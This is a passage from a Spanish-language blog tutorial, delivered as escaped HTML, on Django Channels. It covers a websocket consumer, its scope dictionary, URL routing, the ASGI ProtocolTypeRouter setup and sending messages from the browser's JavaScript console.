&lt;em&gt;scope&lt;/em&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# chat/consumers.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.generic.websocket &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; WebsocketConsumer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ChatConsumer&lt;/span&gt;(WebsocketConsumer):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;connect&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;scope)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;accept()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si imprimimos el &lt;em&gt;scope&lt;/em&gt; obtendremos un diccionario parecido a este&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;type&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;websocket&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;path&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/ws/django/chat/&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;raw_path&amp;#39;&lt;/span&gt;: b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/ws/django/chat/&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;headers&amp;#39;&lt;/span&gt;: [(b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;host&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;localhost:8000&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;user-agent&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&amp;#39;&lt;/span&gt;), (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;accept&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;*/*&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;accept-language&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3&amp;#39;&lt;/span&gt;), (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;accept-encoding&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;gzip, deflate&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sec-websocket-version&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;13&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;origin&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://localhost:8000&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sec-websocket-extensions&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;permessage-deflate&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sec-websocket-key&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;D/aAHncl+Hh2FQrAOEI1dA==&amp;#39;&lt;/span&gt;), (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;connection&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;keep-alive, Upgrade&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;cookie&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;_ga=GA1.1.2040703272.1635544065; mailChimpNewsletterShown=true&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;pragma&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;no-cache&amp;#39;&lt;/span&gt;), (b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;cache-control&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;no-cache&amp;#39;&lt;/span&gt;), (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;upgrade&amp;#39;&lt;/span&gt;, b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;websocket&amp;#39;&lt;/span&gt;)],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;query_string&amp;#39;&lt;/span&gt;: b &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;client&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;127.0.0.1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;52024&lt;/span&gt;],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;server&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;127.0.0.1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;8000&lt;/span&gt;],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;subprotocols&amp;#39;&lt;/span&gt;: [],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;asgi&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;version&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;3.0&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;cookies&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;session&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt; django&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;utils&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;functional&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;LazyObject &lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt; at &lt;span style=&#34;color:#ff9f43&#34;&gt;0x7f4fad60c430&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; ,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;user&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt; channels&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;auth&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;UserLazyObject &lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt; at &lt;span style=&#34;color:#ff9f43&#34;&gt;0x7f4fad60cb50&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; ,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;path_remaining&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;url_route&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;args&amp;#39;&lt;/span&gt;: (),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;kwargs&amp;#39;&lt;/span&gt;: {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Por favor nota como &lt;strong&gt;nuestro diccionario cuenta con una propiedad &lt;em&gt;session&lt;/em&gt;, una propiedad &lt;em&gt;user&lt;/em&gt;, una &lt;em&gt;cookies&lt;/em&gt; (para identificar al usuario) y otra con los args y kwargs de la url&lt;/strong&gt;, la cual podremos usar para personalizar el comportamiento de nuestra app; obtener información de una base de datos, limitar el acceso a ciertos consumers o lo que querramos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;enlazar-un-consumer-con-una-url&#34;&gt;Enlazar un consumer con una url&lt;/h2&gt;&#xA;&lt;p&gt;Vamos a crear la url que enlazará a nuestros consumers con los websockets en un nuevo archivo llamado &lt;em&gt;routing.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# chat/routing.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.urls &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; re_path&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; . &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; consumers&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;websocket_urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    re_path(&lt;span style=&#34;color:#5af78e&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ws/chat/$&amp;#39;&lt;/span&gt;, consumers&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ChatConsumer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_asgi()),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Todas las conexiones a la url &lt;em&gt;ws://localhost:8000/ws/chat/&lt;/em&gt; crearán una instancia de nuestro &lt;em&gt;ChatConsumer&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Posteriormente, modifiquemos el archivo &lt;em&gt;asgi.py&lt;/em&gt; dentro de nuestro proyecto de manera que cada petición que se haga a un websocket sea redirigida a nuestro consumer.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/ProtocolTyperouter-2.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/ProtocolTyperouter-2.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema del ProtocolTyperouter de Django channels&#34; width=&#34;1200&#34; height=&#34;1000&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# mychannels/asgi.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; AuthMiddlewareStack&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.routing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ProtocolTypeRouter, URLRouter&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.asgi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_asgi_application&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; chat.routing&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setdefault(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;DJANGO_SETTINGS_MODULE&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mychannels.settings&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;application &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ProtocolTypeRouter({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;: get_asgi_application(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;websocket&amp;#34;&lt;/span&gt;: AuthMiddlewareStack(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        URLRouter(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            chat&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;routing&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;websocket_urlpatterns&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;ProtocolTypeRouter&lt;/em&gt; se encarga de leer el scope y asignar el tipo de petición al tipo respectivo de respuesta: http a una vista y websocket a un consumer.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;URLRouter&lt;/em&gt; se encarga de decidir que url corresponde a cada consumer, justo como el objeto &lt;em&gt;urlpatterns&lt;/em&gt; de Django&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;AuthMiddlewareStack&lt;/em&gt; se encarga de guardar los datos del usuario en el objeto &lt;em&gt;session&lt;/em&gt; de Django.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;mandando-informacion-a-traves-de-un-web-socket-con-js&#34;&gt;Mandando información a través de un web socket con JS&lt;/h2&gt;&#xA;&lt;p&gt;Ahora, para probarlo, vamos a abrir la consola de nuestro navegador web en &lt;em&gt;http://localhost:8000&lt;/em&gt; y vamos a escribir el código Javascript para conectarnos a nuestra aplicación usando websockets.&lt;/p&gt;&#xA;&lt;p&gt;Javascript nos provee de un objeto &lt;em&gt;WebSocket&lt;/em&gt; para manejar las conexiones, le pasaremos la url &lt;em&gt;ws://localhost:8000/ws/chat/&lt;/em&gt; como parámetro para que sepa a donde tiene que conectarse.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; chatSocket &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;new&lt;/span&gt; WebSocket(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ws://&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;window&lt;/span&gt;.location.host&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/ws/django/chat/&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora vamos a decirle al socket que tiene que hacer cada que reciba un nuevo mensaje. en este caso le pediremos que lea la información en formato JSON y que nos muestre la información recibida en la consola.&lt;/p&gt;&#xA;&lt;p&gt;He agregado un &lt;em&gt;console.log&lt;/em&gt; al evento para que veas todas las propiedades que tienes disponibles para usar en el frontend.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chatSocket.onmessage &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;(e) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            console.log(e)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; data &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; JSON.parse(e.data);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            console.log(data)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Intentemos enviar un mensaje usando su método &lt;em&gt;send&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; message &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;nuestro mensaje&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chatSocket.send(JSON.stringify({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;message&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; message&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }));&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si todo salió bien deberíamos obtener una respuesta con el mensaje que mandamos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/djangoChannelsWebSockets-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/djangoChannelsWebSockets-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Respuesta de un websocket en la consola de javascript&#34; width=&#34;674&#34; height=&#34;463&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Manejando websockets en la consola de Javascript&lt;/p&gt;&#xA;&lt;p&gt;Listo, ya podemos enviar mensajes por websocket a django y recibir una respuesta. Pero hasta ahora lo que hemos hecho es una aplicación interactiva bastante sencilla que manda y retorna texto usando el protocolo ws, ¿qué pasa si queremos aprovechar los channels al máximo para crear aplicaciones donde interactúen muchos usuarios? En la siguiente entrada hablaré del channel layer y los channel groups.&lt;/p&gt;&#xA;</content:encoded>
